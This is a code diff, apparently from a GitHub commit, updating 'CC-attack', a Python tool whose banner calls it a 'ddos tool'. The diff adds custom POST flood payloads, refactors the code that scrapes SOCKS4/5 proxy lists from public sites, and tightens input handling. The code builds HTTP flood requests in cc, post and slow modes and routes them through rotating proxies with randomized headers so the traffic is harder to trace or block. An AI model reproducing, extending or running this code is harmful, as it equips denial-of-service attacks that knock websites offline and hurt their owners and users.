2727 CC///// CC///// | ddos tool |/
2828 CCCCC/ CCCCC/ |___________|/
2929>--------------------------------------------->
30- Python3 version 3.1.1 (dirty fix )
30+ Python3 version 3.2 (Little Improvement )
3131 C0d3d by L330n123
3232┌─────────────────────────────────────────────┐
3333│ Tos: Don't attack .gov website │
3434├─────────────────────────────────────────────┤
3535│ New stuff: │
36+ │ + Customize data of post mode │
3637│ + Fast Port Re-use │
3738│ + Added Random client ip │
3839│ + Added socks mode selection │
39- │ + Fixed slow mode │
4040├─────────────────────────────────────────────┤
4141│ Link: https://github.com/Leeon123/CC-attack │
4242└─────────────────────────────────────────────┘''' )
195195 "https://www.bing.com/search?q=" ,
196196 "https://r.search.yahoo.com/" ,
197197]
198-
198+ data = ""
199199strings = "asdfghjklqwertyuiopZXCVBNMQWERTYUIOPASDFGHJKLzxcvbnm1234567890&"
200200def cc (socks_type ):
201201 connection = "Connection: Keep-Alive\r \n "
@@ -239,13 +239,15 @@ def cc(socks_type):
239239 cc (socks_type )
240240
241241def post (socks_type ):
242+ global data
242243 post_host = "POST " + url2 + " HTTP/1.1\r \n Host: " + ip + "\r \n "
243244 content = "Content-Type: application/x-www-form-urlencoded\r \n "
244- length = "Content-Length: 16 \r \n Connection: Keep-Alive\r \n "
245245 refer = "Referer: http://" + ip + url2 + "\r \n "
246246 user_agent = "User-Agent: " + random .choice (useragents ) + "\r \n "
247247 accept = random .choice (acceptall )
248- data = str (random ._urandom (16 )) # You can enable bring data in HTTP Header
248+ if mode2 != "y" :
249+ data = str (random ._urandom (16 )) # You can enable bring data in HTTP Header
250+ length = "Content-Length: " + str (len (data ))+ " \r \n Connection: Keep-Alive\r \n "
249251 request = post_host + accept + refer + content + user_agent + length + "\n " + data + "\r \n \r \n "
250252 proxy = random .choice (proxies ).strip ().split (":" )
251253 err = 0
@@ -432,24 +434,78 @@ def check_list(socks_file):
432434 for i in list (temp_list ):
433435 rfile .write (bytes (i ,encoding = 'utf-8' ))
434436 rfile .close ()
435-
437+ def downloadsocks (choice ):
438+ if choice == "4" :
439+ f = open ("socks4.txt" ,'wb' )
440+ try :
441+ r = requests .get ("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all&timeout=1000" )
442+ f .write (r .content )
443+ except :
444+ pass
445+ try :
446+ r = requests .get ("https://www.proxy-list.download/api/v1/get?type=socks4" )
447+ f .write (r .content )
448+ f .close ()
449+ except :
450+ f .close ()
451+ try :#credit to All3xJ
452+ import urllib .request
453+ req = urllib .request .Request ("https://www.socks-proxy.net/" )
454+ req .add_header ("User-Agent" , random .choice (useragents ))
455+ sourcecode = urllib .request .urlopen (req )
456+ part = str (sourcecode .read ())
457+ part = part .split ("<tbody>" )
458+ part = part [1 ].split ("</tbody>" )
459+ part = part [0 ].split ("<tr><td>" )
460+ proxies = ""
461+ for proxy in part :
462+ proxy = proxy .split ("</td><td>" )
463+ try :
464+ proxies = proxies + proxy [0 ] + ":" + proxy [1 ] + "\n "
465+ except :
466+ pass
467+ out_file = open ("socks4.txt" ,"a" )
468+ out_file .write (proxies )
469+ out_file .close ()
470+ except :
471+ pass
472+ print ("> Have already downloaded socks4 list as socks4.txt" )
473+ if choice == "5" :
474+ f = open ("socks5.txt" ,'wb' )
475+ try :
476+ r = requests .get ("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&country=all" )
477+ f .write (r .content )
478+ except :
479+ pass
480+ try :
481+ r = requests .get ("https://www.proxy-list.download/api/v1/get?type=socks5" )
482+ f .write (r .content )
483+ f .close ()
484+ except :
485+ f .close ()
486+ print ("> Have already downloaded socks5 list as socks5.txt" )
436487def main ():
437488 global ip
438489 global url2
439490 global port
440491 global proxies
441492 global multiple
442493 global choice
494+ global data
495+ global mode2
443496 ip = ""
444497 port = ""
445498 print ("> Mode: [cc/post/slow/check]" )
446- mode = str (input ("> Choose Your Mode (default=cc) :" ))
499+ mode = str (input ("> Choose Your Mode (default=cc) :" )). strip ()
447500 if mode == "" :
448501 mode = "cc"
502+ elif (mode != "cc" ) and (mode != "post" )and (mode != "slow" )and (mode != "check" ):
503+ print ("> Plese enter correct mode" )
504+ sys .exit (1 )
449505 ip = str (input ("> Host/Ip:" ))
450506 if ip == "" :
451507 print ("> Plese enter correct host or ip" )
452- sys .exit (0 )
508+ sys .exit (1 )
453509 if mode == "slow" or mode == "check" :
454510 pass
455511 else :
@@ -466,6 +522,11 @@ def main():
466522 port = int (port )
467523 if str (port ) == '443' :
468524 print ("> [!] Enable SSL Mode" )
525+ if mode == "post" :
526+ mode2 = str (input ("> Customize post data? (y/n, default=n):" )).strip ()
527+ if mode2 == "y" :
528+ data = open (input ("> Input the file's path:" ).strip ()).readlines ()
529+ data = ' ' .join ([str (txt ) for txt in data ])
469530 choice = ""
470531 while choice == "" :
471532 choice = str (input ("> Choose your socks mode(4/5, default=5):" )).strip ()
@@ -480,55 +541,7 @@ def main():
480541 if mode == "check" :
481542 N = str (input ("> Do you need to get socks list?(y/n,default=y):" ))
482543 if N == 'y' or N == "" :
483- if choice == "4" :
484- f = open ("socks4.txt" ,'wb' )
485- try :
486- r = requests .get ("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all&timeout=1000" )
487- f .write (r .content )
488- except :
489- pass
490- try :
491- r = requests .get ("https://www.proxy-list.download/api/v1/get?type=socks4" )
492- f .write (r .content )
493- f .close ()
494- except :
495- f .close ()
496- try :#credit to All3xJ
497- import urllib .request
498- req = urllib .request .Request ("https://www.socks-proxy.net/" )
499- req .add_header ("User-Agent" , random .choice (useragents ))
500- sourcecode = urllib .request .urlopen (req )
501- part = str (sourcecode .read ())
502- part = part .split ("<tbody>" )
503- part = part [1 ].split ("</tbody>" )
504- part = part [0 ].split ("<tr><td>" )
505- proxies = ""
506- for proxy in part :
507- proxy = proxy .split ("</td><td>" )
508- try :
509- proxies = proxies + proxy [0 ] + ":" + proxy [1 ] + "\n "
510- except :
511- pass
512- out_file = open ("socks4.txt" ,"a" )
513- out_file .write (proxies )
514- out_file .close ()
515- except :
516- pass
517- print ("> Have already downloaded socks4 list as socks4.txt" )
518- if choice == "5" :
519- f = open ("socks5.txt" ,'wb' )
520- try :
521- r = requests .get ("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&country=all" )
522- f .write (r .content )
523- except :
524- pass
525- try :
526- r = requests .get ("https://www.proxy-list.download/api/v1/get?type=socks5" )
527- f .write (r .content )
528- f .close ()
529- except :
530- f .close ()
531- print ("> Have already downloaded socks5 list as socks5.txt" )
544+ downloadsocks (choice )
532545 else :
533546 pass
534547 if choice == "4" :
@@ -577,55 +590,7 @@ def main():
577590 sys .exit ("Error thread number" )
578591 N = str (input ("> Do you need to get socks list?(y/n,default=y):" ))
579592 if N == 'y' or N == "" :
580- if choice == "4" :
581- f = open ("socks4.txt" ,'wb' )
582- try :
583- r = requests .get ("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all&timeout=1000" )
584- f .write (r .content )
585- except :
586- pass
587- try :
588- r = requests .get ("https://www.proxy-list.download/api/v1/get?type=socks4" )
589- f .write (r .content )
590- f .close ()
591- except :
592- f .close ()
593- try :#credit to All3xJ
594- import urllib .request
595- req = urllib .request .Request ("https://www.socks-proxy.net/" )
596- req .add_header ("User-Agent" , random .choice (useragents ))
597- sourcecode = urllib .request .urlopen (req )
598- part = str (sourcecode .read ())
599- part = part .split ("<tbody>" )
600- part = part [1 ].split ("</tbody>" )
601- part = part [0 ].split ("<tr><td>" )
602- proxies = ""
603- for proxy in part :
604- proxy = proxy .split ("</td><td>" )
605- try :
606- proxies = proxies + proxy [0 ] + ":" + proxy [1 ] + "\n "
607- except :
608- pass
609- out_file = open ("socks4.txt" ,"a" )
610- out_file .write (proxies )
611- out_file .close ()
612- except :
613- pass
614- print ("> Have already downloaded socks4 list as socks4.txt" )
615- if choice == "5" :
616- f = open ("socks5.txt" ,'wb' )
617- try :
618- r = requests .get ("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&country=all" )
619- f .write (r .content )
620- except :
621- pass
622- try :
623- r = requests .get ("https://www.proxy-list.download/api/v1/get?type=socks5" )
624- f .write (r .content )
625- f .close ()
626- except :
627- f .close ()
628- print ("> Have already downloaded socks5 list as socks5.txt" )
593+ downloadsocks (choice )
629594 else :
630595 pass
631596 if choice == "4" :
0 commit comments